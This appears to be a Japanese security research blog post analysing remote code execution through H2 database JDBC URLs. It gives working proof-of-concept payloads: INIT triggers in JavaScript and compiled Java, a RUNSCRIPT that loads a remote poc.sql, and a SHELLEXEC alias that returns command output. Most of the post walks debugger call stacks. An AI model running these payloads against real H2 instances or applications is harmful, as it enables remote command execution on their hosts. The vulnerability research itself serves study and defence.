w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JDBC H2 攻撃

JDBC H2 攻撃#

H2#

$$ は h2 で設定関数を表します

image

eval は変異した var3 名のスクリプトを実行します

呼び出しスタック:

loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2

0x01 TRIGGER RCE#

javascript#

JDK15 では JavaScript /Nashorn​エンジンが完全に削除されました(つまり、jdk15​以上では//javascript​のような方法で rce はできず、jsEngineはnull​になり、NullPointerException が発生します)

環境

jdk8u20

<dependency>
      <groupId>com.h2database</groupId>
      <artifactId>h2</artifactId>
      <version>1.4.200</version>
</dependency>
import java.sql.DriverManager;

public class H2 {
    public static void main(String[] args) throws Exception {
        Class.forName("org.h2.Driver");
        String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
                "Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
        java.sql.Connection conn = DriverManager.getConnection(simplexp2);
    }
}

H2 解析プロセス#

    public JdbcConnection(String var1, Properties var2) throws SQLException {
        this(new ConnectionInfo(var1, var2), true);
    }

まずnew ConnectionInfo(var1, var2)​に入ります。接続情報の設定方法を確認します。

image

readSettingsFromURL​に入ります。

image

戻ります。

image

name は url の後半部分の値であり、その後 name の値が解析されます。

image

tcp:​とssl:​はリモート接続を有効にし、remote=true​になります。その後のremote​の判断でリモート接続が行われます。

image

mem: メモリモードを使用し、データベースはメモリに保存されます。test: 接続するデータベースの名前です。

poc がmem:​を設定しているため、persistent = false;​となります。ここも重要です。なぜなら、後でgetName()​が呼び出されるからです。

image

もしpersistent != false;​であれば、name が検査され、ちょうど true になると、エラーがスローされます。

それはname​が相対パスのフラグ(./​、.\\​、:/​、:\\​など)を含むか、SysProperties.IMPLICIT_RELATIVE_PATH​がfalse​であるかを確認します。もしname​が絶対パスでなく、これらの相対パスのフラグを含まない場合、例外がスローされます。

その後、new ConnectionInfo(var1, var2)​に戻り、後はconvertPasswords​によるパスワードの処理と変換だけですが、ここでは設定されていないため、特に操作はありません。これで接続情報の解析部分は終了です。

init#

image

接続情報を取得した後、接続プロセスが始まります。

image

H2 データベースのエンジンクラスをリフレクションでロードし、その後エンジンクラスを通じてセッションを作成します。

image

INSTANCE.createSessionAndValidate(ci)​メソッドを呼び出してセッションを作成し、検証します。その後、openSession(ci);​に入ります。

image

接続情報からIFEXISTS(存在するか)、FORBID_CREATION(接続禁止)、IGNORE_UNKNOWN_SETTINGS、CIPHER(接続パスワード)、INIT​を除去し、いくつかの情報を入力してopenSession​を呼び出し、セッションを開こうとします。

image

別のopenSession​内でDATABASES​名を取得し、存在するかどうか、forbidCreation​が true かどうかを判断します。どちらも満たされない場合は、そのデータベースを作成します。その後、ユーザーとパスワードも作成し、mem:test​を先ほど作成したデータベースのキーとして使用し、元のopenSession​メソッドに戻ります。

もしinit​変数が空でなければ、初期化コマンドの実行を試みます。

parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)

image

初期化コマンドが完了しました。

image

その後、TriggerObject#loadFromSource​に到達し、実行を呼び出します。

image

image

この関数はソースコードからトリガーオブジェクトをロードします。まずデータベースのコンパイラインスタンスを取得し、トリガーの完全なクラス名を構築します。つまり、org.h2.dynamic.trigger.TRIG_JS​です。setSource​はトリガーのソースコードを指定されたクラス名に設定し、トリガーのソースコードが JavaScript ソースコードであるかどうかを確認します。もし JavaScript ソースコードであれば、スクリプトをコンパイルして実行します。

まずgetCompiledScript()​に入ります。

image

ここで JDK15 ではJavaScript /Nashorn​エンジンが完全に削除されました(つまり、jdk15 以上では//javascript​のような方法で rce はできず、jsEngineはnull​になり、NullPointerException が発生します)。

次に、js エンジンを取得する方法を確認します。

image

"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"

image

その後、names​と渡されたname​を照合し、一致すれば初期化されたengine​を返します。

しかし、ここで注意が必要なのは、javascript の前にも判断があることです。

image

小結#

この攻撃手法は主にjava Trigger​(Java トリガー)に依存しています。つまり、バックエンドの Java コードロジックを実行するコンテナを使用して rce を行います。init のコマンドが部分的に読み取られた後、それをTrigger​のTriggerソースコード​として扱い、対応するエンジンを使用してそのソースコードを実行します。

poc を作成する際は、SQL 文の解析プロセスを主に確認します。

0x02 //javascript の回避#

エンジンの登録を試みる(失敗)#

JDK15 以降は javascript が使用できなくなりました。

image

上の図は jdk17 で jsEngine を取得しようとした際、エンジンが null であるため、後続のエラーが発生します。associations​内に登録されたエンジンが見つからず、 engineSpis​コレクション内に発見されたエンジンがありません。

image

その後、jdk17 でassociations​を登録できる場所を見つけました。

image

しかし、以前の factory が何であったかを確認する必要があります。jdk8 で使用されている factory はNashornScriptEngineFactory​であり、同時に spis はその名前を取得することで取得されます。

image

image

                            ScriptEngine engine = spi.getScriptEngine();
                            engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
                            return engine;

jdk17 で factory インターフェースを実装しているクラスを確認しましたが、残念ながら見つかりませんでした。

image

主に jdk17 にはNashornScriptEngineFactory​とNashornScriptEngine​がなく、元のコードは直接ScriptEngineManager​を new してエンジンを探しに行くため、他に特別な操作はありません。このプロセスは制御できません。

Trigger コードの生成を制御する#

import java.sql.DriverManager;

public class H2_Bypass {
    public static void main(String[] args) throws Exception {
        Class.forName("org.h2.Driver");
        String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
        java.sql.Connection conn = DriverManager.getConnection(simplexp);
    }
}

まずはコマンドの解析部分を確認します。

呼び出しスタック

parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass

image

image

image

image

image

image

ちょうど poc と一対一で対応し、最後のトリガー部分に到達します。

image

image

fullClassName​とtriggerSource​がコンパイラに装入され、getClass(className);​に進みます。

public Method getMethod(String className) throws ClassNotFoundException {
        Class<?> clazz = getClass(className);
        Method[] methods = clazz.getDeclaredMethods();
    ...

getClass​を追跡し、直接classLoader.loadClass(packageAndClassName);​に到達します。

image

image

getCompleteSourceCode()​を通じて完全なクラスファイルのコード​を補完し、package、className、sourcecode(poc中)​を含みます。

image

その後、javaxToolsJavac​を使用してそのクラスをロードし、マップに追加して、このクラスオブジェクト​を返します。

上記の呼び出しスタック:

findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)

image

最後にinvoke​を呼び出して悪意のあるメソッドをトリガーします。

0x03 INIT RunScript RCE#

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

poc.sql

DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
    java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');

呼び出しスタック

execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

image

image

while ループを通じて各 SQL 文を実行し、一度に一文を実行します。

$$ ロジック#

command​を解析する方法を確認します。呼び出しスタック

initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

初期化

image

Tokenizer.tokenize​に入ります。

image

これは JDBC 文字列を解析する鍵です。文字列がRUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql'​である場合、最初の R が case に入ります。

image

readR はキーワードを探すために findIdentifierEnd を呼び出します。ここで RSCRIPT が見つかりますが、RIGHT EOW ROWNUM は優先的にマッチングされる必要があります。マッチングされない場合、最後に readIdentifierOrKeyword が呼び出されます。ここで RUNSCRIPT の抽出が完了します。

image

その後、空白をスキップします。

image

image

From キーワード

単一引用符に出会うと、その中の文字を抽出し、次のようなトークンを取得します。

image

$$​ロジックを確認します。

image

ここでsql.substring(stringStart, stringEnd)​は私たちが定義した関数です。

image

$ の回避#

上記で $ がnew Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);​で追加されていることがわかりました。CharacterStringToken​を検索します。

image

readCharacterString​にも存在し、case '\''​で呼び出されます。

したがって、poc.sql 内の $$ を単一引用符に置き換えることも可能です。したがって、0x02 でも切り替えることができます。

poc で注意すべき問題#

危険な関数を正常に記述すると、直接 rce できないことがわかります。なぜ著者は後でエスケープ文字を追加したのでしょうか?

String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}';";

image-20250328213424634

SQL を渡すとき、余分なエスケープ文字はすでに消えています。追跡してみましょう。

image-20250328213432945

この時 ci の originalURL はまだjdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator")\;}'です。

image-20250328213442625

もしエスケープ文字を追加しなければどうなるでしょうか?

readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1

image-20250328213454191

;で分割されるため、元の poc の危険な関数が 2 つの部分に分割されてしまいます。

2 つのエスケープ文字を追加する必要があります。

0x04 H2 データベースの利用 ALIAS#

jar をダウンロードし、最新バージョンを使用します。jdk17 で起動し、直接接続するとオンラインの h2 データベースが得られます。

/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)

回声#

DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

//CALL SHELLEXECでコマンドを実行
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');

image

0x05 参考#

https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD

https://unam4.github.io/2024/11/12/h2%E6%95%B0%E6%8D%AE%E5%BA%93%E5%9C%A8jdk17%E4%B8%8B%E7%9A%84rce%E6%8E%A2%E7%B4%A2/#%E5%88%86%E6%9E%90

zjj

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。